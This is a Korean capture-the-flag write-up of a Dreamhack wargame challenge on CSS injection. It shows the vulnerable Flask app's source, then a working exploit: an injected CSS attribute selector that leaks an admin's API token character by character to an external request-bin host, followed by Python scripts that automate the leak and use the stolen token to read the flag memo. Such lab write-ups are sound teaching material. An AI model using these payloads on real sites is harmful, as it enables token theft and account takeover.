CTF, War game

[Dreamhack] Level 3: CSS Injection

mnzy๐ŸŒฑ 2024. 4. 20. 16:00

1. ๋ฌธ์ œ

https://dreamhack.io/wargame/challenges/421

 

CSS Injection

Description Exercise: CSS Injection์—์„œ ์‹ค์Šตํ•˜๋Š” ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค. ๋ฌธ์ œ ์ˆ˜์ • ๋‚ด์—ญ 2023.08.09 Dockerfile ๋ฐ bot ์ผ๋ถ€ ์ˆ˜์ • 2023.11.27 main.py ๋ฐ requirements.txt ์ˆ˜์ •

dreamhack.io

 

2. ํ•ด๊ฒฐ ๊ณผ์ •

(1) ์ฝ”๋“œ ๋ถ„์„

์ „์ฒด ์ฝ”๋“œ

๋”๋ณด๊ธฐ
#!/usr/bin/python3
import hashlib, os, binascii, random, string
from flask import Flask, request, render_template, redirect, url_for, session, g, flash
from functools import wraps
import sqlite3
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.common.by import By
from promise import Promise

app = Flask(__name__)
app.secret_key = os.urandom(32)

DATABASE = os.environ.get("DATABASE", "database.db")

try:
    FLAG = open("./flag.txt", "r").read().strip()
except:
    FLAG = "[**FLAG**]"

ADMIN_USERNAME = "administrator"
ADMIN_PASSWORD = binascii.hexlify(os.urandom(32))


def execute(query, data=()):
    con = sqlite3.connect(DATABASE)
    cur = con.cursor()
    cur.execute(query, data)
    con.commit()
    data = cur.fetchall()
    con.close()
    return data


def token_generate():
    while True:
        token = "".join(random.choice(string.ascii_lowercase) for _ in range(8))
        token_exists = execute(
            "SELECT * FROM users WHERE token = :token;", {"token": token}
        )
        if not token_exists:
            return token


def login_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        if session and session["uid"]:
            return view(**kwargs)
        flash("login first !")
        return redirect(url_for("login"))

    return wrapped_view


def apikey_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        apikey = request.headers.get("API-KEY", None)
        token = execute("SELECT * FROM users WHERE token = :token;", {"token": apikey})
        if token:
            request.uid = token[0][0]
            return view(**kwargs)
        return {"code": 401, "message": "Access Denined !"}

    return wrapped_view


@app.teardown_appcontext
def close_connection(exception):
    db = getattr(g, "_database", None)
    if db is not None:
        db.close()


@app.context_processor
def background_color():
    color = request.args.get("color", "white")
    return dict(color=color)


@app.route("/")
def index():
    return render_template("index.html")


@app.route("/login", methods=["GET", "POST"])
def login():
    if request.method == "GET":
        return render_template("login.html")
    else:
        username = request.form.get("username")
        password = request.form.get("password")
        user = execute(
            "SELECT * FROM users WHERE username = :username and password = :password;",
            {
                "username": username,
                "password": hashlib.sha256(password.encode()).hexdigest(),
            },
        )

        if user:
            session["uid"] = user[0][0]
            session["username"] = user[0][1]
            return redirect(url_for("index"))

        flash("Wrong username or password !")
        return redirect(url_for("login"))


@app.route("/logout")
@login_required
def logout():
    session.clear()
    flash("Logout !")
    return redirect(url_for("index"))


@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "GET":
        return render_template("register.html")
    else:
        username = request.form.get("username")
        password = request.form.get("password")

        user = execute(
            "SELECT * FROM users WHERE username = :username;", {"username": username}
        )
        if user:
            flash("Username already exists !")
            return redirect(url_for("register"))

        token = token_generate()
        sql = "INSERT INTO users(username, password, token) VALUES (:username, :password, :token);"
        execute(
            sql,
            {
                "username": username,
                "password": hashlib.sha256(password.encode()).hexdigest(),
                "token": token,
            },
        )
        flash("Register Success.")
        return redirect(url_for("login"))


@app.route("/mypage")
@login_required
def mypage():
    user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": session["uid"]})
    return render_template("mypage.html", user=user[0])


@app.route("/memo", methods=["GET", "POST"])
@login_required
def memopage():
    if request.method == "GET":
        memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": session["uid"]})
        return render_template("memo.html", memos=memos)
    else:
        memo = request.form.get("memo")
        sql = "INSERT INTO memo(uid, text) VALUES(:uid, :text);"
        execute(sql, {"uid": session["uid"], "text": memo})
    return redirect(url_for("memopage"))


# report
@app.route("/report", methods=["GET", "POST"])
def report():
    if request.method == "POST":
        path = request.form.get("path")
        if not path:
            flash("fail.")
            return redirect(url_for("report"))

        if path and path[0] == "/":
            path = path[1:]

        url = f"http://127.0.0.1:8000/{path}"
        if check_url(url):
            flash("success.")
        else:
            flash("fail.")
        return redirect(url_for("report"))

    elif request.method == "GET":
        return render_template("report.html")


def check_url(url):
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)

        driver_promise = Promise(driver.get("http://127.0.0.1:8000/login"))
        driver_promise.then(
            driver.find_element(By.NAME, "username").send_keys(str(ADMIN_USERNAME))
        )
        driver_promise.then(
            driver.find_element(By.NAME, "password").send_keys(ADMIN_PASSWORD.decode())
        )
        driver_promise = Promise(driver.find_element(By.ID, "submit").click())
        driver_promise.then(driver.get(url))

    except Exception as e:
        driver.quit()
        return False
    finally:
        driver.quit()
    return True


# API
@app.route("/api/me")
@apikey_required
def APIme():
    user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": request.uid})
    if user:
        return {"code": 200, "uid": user[0][0], "username": user[0][1]}
    return {"code": 500, "message": "Error !"}


@app.route("/api/memo")
@apikey_required
def APImemo():
    memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": request.uid})
    if memos:
        memo = []
        for tmp in memos:
            memo.append({"idx": tmp[0], "memo": tmp[2]})
        return {"code": 200, "memo": memo}

    return {"code": 500, "message": "Error !"}


# For Challenge
def init():
    execute("DROP TABLE IF EXISTS users;")
    execute(
        """
        CREATE TABLE users (
            uid INTEGER PRIMARY KEY,
            username TEXT NOT NULL UNIQUE,
            password TEXT NOT NULL,
            token TEXT NOT NULL UNIQUE
        );
    """
    )

    execute("DROP TABLE IF EXISTS memo;")
    execute(
        """
        CREATE TABLE memo (
            idx INTEGER PRIMARY KEY,
            uid INTEGER NOT NULL,
            text TEXT NOT NULL
        );
    """
    )

    # Add admin
    execute(
        "INSERT INTO users (username, password, token)"
        "VALUES (:username, :password, :token);",
        {
            "username": ADMIN_USERNAME,
            "password": hashlib.sha256(ADMIN_PASSWORD).hexdigest(),
            "token": token_generate(),
        },
    )

    adminUid = execute(
        "SELECT * FROM users WHERE username = :username;", {"username": ADMIN_USERNAME}
    )

    # Add FLAG
    execute(
        "INSERT INTO memo (uid, text)" "VALUES (:uid, :text);",
        {"uid": adminUid[0][0], "text": "FLAG is " + FLAG},
    )


with app.app_context():
    init()

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000)

 

(init) ์„œ๋ฒ„๊ฐ€ ์‹œ์ž‘๋˜๋ฉด์„œ, admin ๊ณ„์ •์ด ์ƒ์„ฑ๋˜๊ณ  admin ๊ณ„์ •์— ๋ฉ”๋ชจ๊ฐ€ ์ƒ์„ฑ๋œ๋‹ค. 

์ด๋•Œ ๋ฉ”๋ชจ์— ํ”Œ๋ž˜๊ทธ๊ฐ€ ์ €์žฅ๋œ๋‹ค. ์ฆ‰, ํ”Œ๋ž˜๊ทธ๋Š” admin ๊ณ„์ •์˜ ๋ฉ”๋ชจ์— ์กด์žฌํ•œ๋‹ค.

# Add admin
    execute(
        "INSERT INTO users (username, password, token)"
        "VALUES (:username, :password, :token);",
        {
            "username": ADMIN_USERNAME,
            "password": hashlib.sha256(ADMIN_PASSWORD).hexdigest(),
            "token": token_generate(),
        },
    )

    adminUid = execute(
        "SELECT * FROM users WHERE username = :username;", {"username": ADMIN_USERNAME}
    )

    # Add FLAG
    execute(
        "INSERT INTO memo (uid, text)" "VALUES (:uid, :text);",
        {"uid": adminUid[0][0], "text": "FLAG is " + FLAG},
    )

 

ํšŒ์›๊ฐ€์ž…์„ ํ•˜๋ฉด, username, password, token์„ sql์— ์‚ฝ์ž…ํ•œ๋‹ค. 

@app.route("/register", methods=["GET", "POST"])
def register():
    if request.method == "GET":
        return render_template("register.html")
    else:
        username = request.form.get("username")
        password = request.form.get("password")

        user = execute(
            "SELECT * FROM users WHERE username = :username;", {"username": username}
        )
        if user:
            flash("Username already exists !")
            return redirect(url_for("register"))

        token = token_generate()
        sql = "INSERT INTO users(username, password, token) VALUES (:username, :password, :token);"
        execute(
            sql,
            {
                "username": username,
                "password": hashlib.sha256(password.encode()).hexdigest(),
                "token": token,
            },
        )
        flash("Register Success.")
        return redirect(url_for("login"))

 

ํ† ํฐ์€ 8์ž๋ฆฌ ์†Œ๋ฌธ์ž๋กœ ๊ตฌ์„ฑ๋œ๋‹ค. 

def token_generate():
    while True:
        token = "".join(random.choice(string.ascii_lowercase) for _ in range(8))
        token_exists = execute(
            "SELECT * FROM users WHERE token = :token;", {"token": token}
        )
        if not token_exists:
            return token

 

mypage์—์„œ ํ† ํฐ๊ฐ’์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

@app.route("/mypage")
@login_required
def mypage():
    user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": session["uid"]})
    return render_template("mypage.html", user=user[0])

 

/report ํŽ˜์ด์ง€์—์„œ path๋ฅผ ์ž…๋ ฅ๋ฐ›์•„ check_url()์— ๋„˜๊ธด๋‹ค. 

# report
@app.route("/report", methods=["GET", "POST"])
def report():
    if request.method == "POST":
        path = request.form.get("path")
        if not path:
            flash("fail.")
            return redirect(url_for("report"))

        if path and path[0] == "/":
            path = path[1:]

        url = f"http://127.0.0.1:8000/{path}"
        if check_url(url):
            flash("success.")
        else:
            flash("fail.")
        return redirect(url_for("report"))

    elif request.method == "GET":
        return render_template("report.html")

 

check_url์€ admin ๊ณ„์ •์— ๋กœ๊ทธ์ธํ•œ ๋’ค ๊ฒฐ๊ณผ๊ฐ’์„ ๋ฆฌํ„ดํ•ด์ค€๋‹ค. 

  1. ๋กœ์ปฌ์˜ ๋กœ๊ทธ์ธ ํŽ˜์ด์ง€ ์ ‘์† 
  2. admin ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธ 
  3. url ์ ‘์† 

์ฆ‰, /report ํŽ˜์ด์ง€๋Š” admin ๊ณ„์ •์˜ ๊ถŒํ•œ์œผ๋กœ ํŽ˜์ด์ง€๋ฅผ ๋Œ์•„๋‹ค๋‹ ์ˆ˜ ์žˆ๋„๋ก ํ•ด์ค€๋‹ค.

def check_url(url):
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)

        driver_promise = Promise(driver.get("http://127.0.0.1:8000/login"))
        driver_promise.then(
            driver.find_element(By.NAME, "username").send_keys(str(ADMIN_USERNAME))
        )
        driver_promise.then(
            driver.find_element(By.NAME, "password").send_keys(ADMIN_PASSWORD.decode())
        )
        driver_promise = Promise(driver.find_element(By.ID, "submit").click())
        driver_promise.then(driver.get(url))

    except Exception as e:
        driver.quit()
        return False
    finally:
        driver.quit()
    return True

 

/api/me , /api/memo ์— ์ ‘์†ํ•˜๊ธฐ ์œ„ํ•ด์„œ๋Š” @apikey_required ๋ถ€ํ„ฐ ํ†ต๊ณผํ•ด์•ผ ํ•œ๋‹ค. 

uid์˜ ๊ฒฐ๊ณผ, ํ•ด๋‹น ๊ฐ’์ด user[0][0]์ผ ๋•Œ์—๋งŒ 200 ์ฝ”๋“œ๋ฅผ ๋ฆฌํ„ดํ•ด์ค€๋‹ค -> admin

์ฆ‰, admin์ธ ๊ฒƒ์ด ํ™•์ธ๋˜๋ฉด users ํ…Œ์ด๋ธ”์—์„œ ์ •๋ณด๋ฅผ ์ถœ๋ ฅํ•ด์ฃผ๊ณ , memo ํ…Œ์ด๋ธ”์—์„œ ๋ฉ”๋ชจ๋ฅผ ์ถœ๋ ฅํ•ด์ค€๋‹ค. 

# API
@app.route("/api/me")
@apikey_required
def APIme():
    user = execute("SELECT * FROM users WHERE uid = :uid;", {"uid": request.uid})
    if user:
        return {"code": 200, "uid": user[0][0], "username": user[0][1]}
    return {"code": 500, "message": "Error !"}


@app.route("/api/memo")
@apikey_required
def APImemo():
    memos = execute("SELECT * FROM memo WHERE uid = :uid;", {"uid": request.uid})
    if memos:
        memo = []
        for tmp in memos:
            memo.append({"idx": tmp[0], "memo": tmp[2]})
        return {"code": 200, "memo": memo}

    return {"code": 500, "message": "Error !"}

 

apikey๋Š” ํ—ค๋”์— ์žˆ๋Š” API-KEY๋ฅผ ๊ฐ€์ ธ์™€ token(api key)๋ฅผ ํ™•์ธํ•˜๊ณ ,

ํ•ด๋‹น ๊ณ„์ •์ด token[0][0], ์ฆ‰ admin์ด๋ฉด ๊ฒฐ๊ณผ๋ฅผ ๋ฐ˜ํ™˜ํ•ด์ฃผ๊ณ , ์•„๋‹ˆ๋ผ๋ฉด 401 ์ฝ”๋“œ๋ฅผ ๋ฐ˜ํ™˜ํ•œ๋‹ค.  

def apikey_required(view):
    @wraps(view)
    def wrapped_view(**kwargs):
        apikey = request.headers.get("API-KEY", None)
        token = execute("SELECT * FROM users WHERE token = :token;", {"token": apikey})
        if token:
            request.uid = token[0][0]
            return view(**kwargs)
        return {"code": 401, "message": "Access Denined !"}

    return wrapped_view

 

์ฆ‰, ์šฐ๋ฆฌ๋Š” ํ”Œ๋ž˜๊ทธ๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•ด admin ๊ณ„์ •์˜ memo๋ฅผ ํ™•์ธํ•ด์•ผ ํ•œ๋‹ค

(1) api/memo์—์„œ๋Š” API-KEY๋งŒ์œผ๋กœ admin ๊ณ„์ •์˜ ๋ฉ”๋ชจ๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. 

(2) ์šฐ๋ฆฌ๋Š” report๋กœ admin ๊ณ„์ •์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋‹ค. 

 

+) ๋ฌธ์ œ์—์„œ ๋Œ€๋†“๊ณ  css injection์ด๋ผ๊ณ  ๋ช…์‹œํ–ˆ์ง€๋งŒ, ํ•ด๋‹น ๋ฌธ์ œ๋ฅผ css injection์œผ๋กœ ํ’€์–ด์•ผ ํ•˜๋Š” ์ด์œ ๋ฅผ ์ฐพ๊ณ  ์‹ถ์—ˆ๋‹ค.

์•„๊นŒ ์ฝ”๋“œ ๋ถ„์„๊ณผ์ •์—์„œ ๋†“์ณค๋˜ ๋ถ€๋ถ„์ด ์žˆ๋Š”๋ฐ ํŽ˜์ด์ง€์˜ ๋ฐฐ๊ฒฝ color๊ฐ’์„ get ์š”์ฒญ์„ ํ†ตํ•ด ๋ฐ›๋Š”๋‹ค. 

์ฆ‰, ์š”์ฒญ์„ ํ†ตํ•ด ๋ธŒ๋ผ์šฐ์ €์—์„œ background ์ปฌ๋Ÿฌ(CSS)๋ฅผ ๋ฐ”๊ฟ€ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด ๋ถ€๋ถ„์„ ์ด์šฉํ•ด์„œ css injection์ด ๊ฐ€๋Šฅํ•˜๋‹ค๋Š” ๊ฒƒ์„ ์•Œ ์ˆ˜์žˆ๋‹ค. 

@app.context_processor
def background_color():
    color = request.args.get("color", "white")
    return dict(color=color)

 

์ฟผ๋ฆฌ์ŠคํŠธ๋ง์œผ๋กœ color=yellow๋ฅผ ์ฃผ๋‹ˆ, ๋ฐฐ๊ฒฝํ™”๋ฉด์˜ ์ปฌ๋Ÿฌ๊ฐ€ ์‹ค์ œ๋กœ ๋ฐ”๋€Œ๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. 

 

์ด์–ด์„œ, ํ…Œ์ŠคํŠธ๋ฅผ ์œ„ํ•ด mnzy/test๋กœ ํšŒ์›๊ฐ€์ž… ํ›„ ๋กœ๊ทธ์ธ์„ ํ–ˆ๋‹ค. 

/mypage์—๋Š” API Token์ด ๋ฐ”๋กœ ์ถœ๋ ฅ๋œ๋‹ค. 

 

๊ฐœ๋ฐœ์ž๋„๊ตฌ๋ฅผ ํ™•์ธํ•ด๋ณด๋ฉด api key๊ฐ€ text๋กœ inputApitoken์— ๋“ค์–ด๊ฐ€๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค. 

์ด์ฒ˜๋Ÿผ ์›น ํŽ˜์ด์ง€์— ์ง์ ‘์ ์œผ๋กœ ๋ณด์—ฌ์ง€๋Š” ๊ฐ’์€ CSS ์„ ํƒ์ž(Selector)๋ฅผ ํ†ตํ•ด ํ‘œํ˜„์ด ๊ฐ€๋Šฅํ•˜๋‹ค. 

๊ณต๊ฒฉ์ž๊ฐ€ ์ž„์˜ CSS ์†์„ฑ์„ ์‚ฝ์ž…ํ•ด ์›นํŽ˜์ด์ง€์˜ UI (์ƒ๊น€์ƒˆ)๋ฅผ ๋ณ€์กฐํ•˜๊ฑฐ๋‚˜ CSS ์†์„ฑ์˜ ๋‹ค์–‘ํ•œ ๊ธฐ๋Šฅ์„ ํ†ตํ•ด ์›น ํŽ˜์ด์ง€๋‚ด์˜ ๋ฐ์ดํ„ฐ๋ฅผ ์™ธ๋ถ€๋กœ ํ›”์น  ์ˆ˜ ์žˆ๋‹ค. ๋ฐ์ดํ„ฐ์˜ ์˜ˆ๋กœ๋Š” CSRF Token, ํ”ผํ•ด์ž์˜ API Key๋“ฑ ์›น ํŽ˜์ด์ง€์— ์ง์ ‘์ ์œผ๋กœ ๋ณด์—ฌ์ง€๋Š” ๊ฐ’์ฒ˜๋Ÿผ CSS ์„ ํƒ์ž(Selector)๋ฅผ ํ†ตํ•ด ํ‘œํ˜„์ด ๊ฐ€๋Šฅํ•ด์•ผ ํ•œ๋‹ค. 

 

 

์ •๋ฆฌํ•ด๋ณด์ž๋ฉด 

/mypage์—์„œ๋Š” token๊ฐ’์„ ๋ฐ”๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

๋”ฐ๋ผ์„œ, /report ํŽ˜์ด์ง€์—์„œ css selector๋ฅผ ์ด์šฉํ•˜์—ฌ mypage์˜ ํ† ํฐ๊ฐ’์„ ํƒˆ์ทจํ•ด์˜ค๋Š” ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๋ฉด ๋œ๋‹ค.

(2) ์ต์Šคํ”Œ๋กœ์ž‡

ํŽ˜์ด๋กœ๋“œ๋Š” ์ฟผ๋ฆฌ๊ฐ’์œผ๋กœ mypage์— ์ ‘๊ทผํ•ด์„œ ์ง€์ •ํ•œ ์„œ๋ฒ„๋กœ ping์„ ๋ณด๋‚ด๋„๋ก ํ•  ๊ฒƒ์ด๋‹ค. 

ํŠน์ˆ˜๋ฌธ์ž ๋“ฑ์— ๋Œ€ํ•œ ํ•„ํ„ฐ๋ง์ด ์ „ํ˜€ ์—†์œผ๋ฏ€๋กœ, ํ˜•์‹๋งŒ ์ž˜ ์‹ ๊ฒฝ์จ์„œ ์š”์ฒญ์„ ๋ณด๋‚ด๋ฉด ๋œ๋‹ค. 

์šฐ๋ฆฌ๋Š” inputApitoken์˜ value ๊ฐ’์ด ๊ฐ€์žฅ ์ฒซ ๊ธ€์ž๋ถ€ํ„ฐ ํ•˜๋‚˜์”ฉ ๊ฐ€์ ธ์˜ฌ ๊ฒƒ์ด๋‹ค. 

selector 2๊ฐœ๋ฅผ ํ†ตํ•ด id์™€ value๊ฐ’์„ ์ง€์ •ํ•ด์ฃผ๋Š”๋ฐ, value์˜ ๊ฒฝ์šฐ ์•Œ๊ฒŒ ๋œ ๋ฌธ์ž์—ด + ์‹œ๋„ ๋ฌธ์ž์˜ ํ˜•์‹์œผ๋กœ  token์„ ์•Œ์•„๋‚ด๋„๋ก ํ•  ๊ฒƒ์ด๋‹ค. -> selector ํ˜•์‹: [attr=value] / [attr^=value]

์ฐธ๊ณ : https://developer.mozilla.org/ko/docs/Web/CSS/Attribute_selectors

 

http://host3.dreamhack.games:21675/mypage?color=white;} input[id=InputApitoken][value^="+curr+token+"] {background: url(https://azcqvch.request.dreamhack.games/"+curr+token+");"}

 

๋”ฐ๋ผ์„œ ์•„๋ž˜์™€ ๊ฐ™์€ ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜์˜€๋‹ค.

ํ•œ ๋ฒˆ์— ํ† ํฐ ๊ฐ’์„ ์•Œ์•„๋‚ผ ์ˆ˜ ์žˆ๋Š” ์ฝ”๋“œ๋ฅผ ์ž‘์„ฑํ•˜๊ณ  ์‹ถ์—ˆ๋Š”๋ฐ, ์‹คํŒจํ•ด์„œ ํ•œ ๊ธ€์ž์”ฉ ์•Œ์•„๋‚ด๋Š” ์ฝ”๋“œ๋กœ ์ž‘์„ฑํ•ด์„œ ํ•˜๋‚˜์”ฉ ์•Œ์•„๋ƒˆ๋‹ค.

๊ธ€์ž ์•Œ์•„๋‚ด๋ฉด curr์— ์ˆ˜์ž‘์—…์œผ๋กœ ์ถ”๊ฐ€ํ•ด์•ผ๋จ..ใ…Ž

import requests, string

URL = "http://host3.dreamhack.games:12465/report"
curr= ""

for token in string.ascii_lowercase: 
    data = {"path":"mypage?color=white;} input[id=InputApitoken][value^="+curr+token+"] {background: url(https://azcqvch.request.dreamhack.games/"+curr+token+");"}
    response = requests.post(URL, data=data)
    print(f"'{token}': Status {response.status_code}")

 

admin์˜ ํ† ํฐ๊ฐ’์„ ์•Œ์•„๋‚ด๋Š”๋ฐ ์„ฑ๊ณตํ•˜๋ฉด, ์ด ํ† ํฐ๊ฐ’์„ ์ด์šฉํ•ด์„œ api/memo ์— ์ ‘๊ทผํ•  ๊ฒƒ์ด๋‹ค. 

 

 

์ด ํ† ํฐ๊ฐ’์„ ๊ฐ€์ง€๊ณ  api/memo์— ์š”์ฒญ์„ ๋ณด๋‚ด์–ด ๋‚ด์šฉ์„ ํŒŒ์‹ฑํ•ด์„œ ํ”Œ๋ž˜๊ทธ๊ฐ’์„ ์ถ”์ถœํ•ด๋‚ผ ์ˆ˜ ์žˆ๋‹ค. 

import requests

URL = "http://host3.dreamhack.games:21675/api/memo"
TOKEN = "ykpnimfn"

headers = {
    "API-KEY": TOKEN
}

response = requests.get(URL, headers=headers)

# ์‘๋‹ต ํ™•์ธ
if response.status_code == 200:
    print("Request successful!")
    response_data = response.json()
    if response_data['code'] == 200:
        # ๋ฉ”๋ชจ ๋ฐ์ดํ„ฐ ํŒŒ์‹ฑ ๋ฐ ์ถœ๋ ฅ
        memos = response_data['memo']
        for memo in memos:
            print(f"Memo index: {memo['idx']}, Memo content: {memo['memo']}")
    else:
        print(f"Error: {response_data['message']}")
else:
    print(f"Failed to fetch data. Status code: {response.status_code}")

 

์„ฑ๊ณต